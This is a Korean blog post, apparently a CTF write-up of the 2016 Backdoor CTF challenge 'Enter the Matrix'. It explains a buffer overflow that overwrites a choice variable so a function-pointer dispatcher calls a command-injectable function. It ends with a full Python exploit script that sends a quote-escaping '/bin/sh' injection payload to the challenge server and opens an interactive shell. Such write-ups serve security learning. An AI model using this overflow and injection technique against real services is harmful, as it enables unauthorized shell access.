-
Backdoor CTF - Enter the MatrixCTF 2016. 6. 7. 00:27
이 문제는 함수포인터와 버퍼에대한 지식이 있다면 손쉽게 풀수있는 문제이다.
다음과같은 코드를 보고 커맨드 인젝션인것은 모두 눈치챘을것이다.
우리는 name 을 입력해줄수있는상태이다. 하지만 이 함수가 호출되는것은 이상한 조건에서만 호출이된다.
그 조건을 충족시키지 못하기때문에 다른 방법을 알아내야한다.
이 조건은 맞추기 힘들것같다. 그래서 다른 방법을 구했다.
일단 이걸 참고하고, 제일 중요한 함수가 존재한다.
get_input_n함수를 보게되면 구조상 트릭이존재한다.
그리고, 우린 오버플로우를 할 수 있어서 choice 변수를 덮을수있다.
덮어서 뭐하냐? 메인함수 맨밑을 확인해보자
dispatcher + choice로 함수포인터를 호출하는데, choice 는 우리가 1,2,3을 선택할수있게된다.
함수포인터 순서를보면 , 0은 zion이 존재한다 zion에서 커맨드인젝션이 가능한함수이다. 그럼 choice를덮어서 0x00000000으로 덮어준다면 정상적으로 zion이 호출될것이다.
여기까진 접근했는데, 막상와서 커맨드인젝션이 잘 안되는경우가있다.
%s가 '로 묶여져있다. 간단하게 우회할수있다.
from s0ngsari import * p = lambda x:struct.pack("<L",x) HOST = "hack.bckdr.in" PORT = 9004 def recvuntil(t): data = '' while not data.endswith(t): tmp = s.recv(1) if not tmp: break data += tmp return data s = socket(AF_INET,SOCK_STREAM) s.connect((HOST,PORT)) #namebuf = "';ls';|" namebuf = "';/bin/sh;'" namebuf += "\x41"*(64 - len(namebuf)) namebuf += p(0x00000000) print recvuntil("Choice:") s.send("2" + "\n") print recvuntil("name:") s.send(namebuf + "\n") t = Telnet() t.sock = s t.interact()
'CTF' 카테고리의 다른 글
SECUINSIDE 2016 CYKOR_00001 (0) 2016.07.10 SECUINSIDE 2016 CYKOR_00001_Patch (0) 2016.07.10 TJCTF - Java sandbox (0) 2016.05.31 TJCTF - gravitymud (0) 2016.05.30 Defcon 24 - LEGIT 1,2,3 Patched (0) 2016.05.23